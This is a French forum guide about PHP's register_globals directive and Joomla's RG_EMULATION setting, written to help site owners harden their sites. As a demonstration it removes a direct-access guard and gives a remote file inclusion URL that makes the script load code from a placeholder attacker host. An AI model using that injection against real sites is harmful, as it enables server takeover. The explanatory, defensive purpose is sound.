Lorsque l'on charge une page PHP, le serveur fourni au script plusieurs variables pré-définies dont certaines ($_GET, $_POST, etc.) contiennent les données transmises par le visiteur.
Exemple :
Lorsqu'un navigateur demande une page à un serveur, il envoie une requête* :
Code: Select all
GET /index.php?option=com_frontpage
Dans le script PHP, cette entrée est ensuite accessible avec : $_GET['option']
Lorsque la directive register_globals est activée, PHP copie ces variables pré-définies dans de simples variables.
Exemple :
En prenant la base de l'exemple précédent, pour l'entrée $_GET['option'] PHP va créer une variable $option contenant également com_frontpage
Où est le problème ?
Cette directive n'est pas en elle-même un problème, mais elle est une source potentielle de failles de sécurité.
Exemple :
Prenons par exemple le code du composant /components/com_frontpage/frontpage.php dans lequel nous enlevons (en commentant) la protection contre les accès directs :
Code: Select all
<?php
/**
* @version $Id: frontpage.php 85 2005-09-15 23:12:03Z eddieajau $
* @package Joomla
* @subpackage Content
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// no direct access
// defined( '_VALID_MOS' ) or die( 'Restricted access' ); // Code commenté pour l'exemple
// code handling has been shifted into content.php
require_once( $mosConfig_absolute_path .'/components/com_content/content.php' );
?>
http://[le_site_victime]/components/com_frontpage/frontpage.php?mosConfig_absolute_path=http://[le_site_du_cracker]/script.txt?
Si la directive allow_url_fopen est activée (ce qui est le cas généralement), le script inclu sera :
http://[le_site_du_cracker]/script.txt?/components/com_content/content.php
et vous serez victime d'une attaque par inclusion de fichier distant (= remote file inclusion).
Dans le cas de l'exemple précédent, l'ajout du code suivant permet de sécuriser le composant :
Code: Select all
<?php defined( '_VALID_MOS' ) or die( 'Restricted access' ); ?>
Exemple :
Code: Select all
<?php
// Pas d'accès direct
defined( '_VALID_MOS' ) or die( 'Restricted access' );
// Traitement de la tâche demandée
switch ( $task )
{
case 'afficher_article':
$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_afficher.php';
break;
case 'editer_article':
if ( $my->gid < 2 )
mosNotAuth();
$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_editer.php';
break;
case 'nouvel_article':
if ( $my->gid < 2 )
mosNotAuth();
$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_nouveau.php';
break;
}
// Chargement du script de traitement
include( $fichier );
?>
Comment changer la valeur de cette directive ?
Le plus simple est de demander à votre hébergeur d'effectuer le changement sur votre serveur.
S'il ne s'agit pas d'un serveur dédié, il est probable qu'il refuse. Vous pouvez alors placer un fichier .htaccess à la racine de votre site contenant :
Code: Select all
php_flag register_globals off
Code: Select all
php_flag register_globals on
Emulation de la directive register_globals
Joomla! a introduit une interface permettant d'émuler la directive register_globals. Cette option est limitée par le fait que seuls les scripts PHP derrière cette interface sont affectés (donc les scripts indépendants ou accédés directement ne sont pas affectés).
Depuis la version 1.0.13 de Joomla!, l'activation/désactivation de l'émulation de cette directive se modifie depuis l'administration. Dans la page Site | Configuration du Site, onglet Serveur, option Emulation du paramètre Register Globals.
Avant Joomla! 1.0.13 :
Important :La configuration de l'option RG_EMULATION (option de Joomla! donc) s'effectue dans le fichier /globals.php, ligne 24 :
Pour émuler la directive register_globals activée, il suffit d'affecter la valeur 1 à la constante RG_EMULATION. Au contraire, pour émuler la directive register_globals désactivée, il suffit d'affecter la valeur 0 à la constante RG_EMULATION.Code: Select all
<?php define( 'RG_EMULATION', 1 ); ?>
Dans l'environnement Joomla! (tout ce qui est exécuté au travers de Joomla!), les registres globaux sont définis par cette option uniquement et la configuration de la directive register_globals de PHP est sans effet après l'interface RG_EMULATION fournie par Joomla!.
Activer ou désactiver ?
Il est conseillé de désactiver la directive register_globals ainsi que l'option Joomla! RG_EMULATION pour réduire les failles de sécurité potentielles. Cela n'est malheureusement pas toujours possible, certaines extensions nécessitant l'activation de cette option (et peut-être aussi de la directive PHP pour les extensions utilisant certains scripts directement sans passer par Joomla!).
Avant de changer la configuration, vérifiez que les extensions installées sur votre site ne sont pas listées sur cette page (la liste n'est évidemment pas complète) :
http://forum.joomla.org/index.php/topic,86525.0.html
ou si possible appliquer le(s) correctif(s) indiqué(s) pour rendre vos extensions indépendantes des registres globaux.
Notes
* La requête est incomplète mais la suite ne nous intéresse pas ici.
Voir pour plus de détails : http://www.w3.org/Protocols/rfc2616/rfc2616.html (anglais)
Références
http://dev.joomla.org/index.php?option= ... ake_secure (anglais)
http://www.php.net/manual/fr/ini.core.p ... er-globals (français)
http://www.php.net/manual/fr/security.globals.php (français)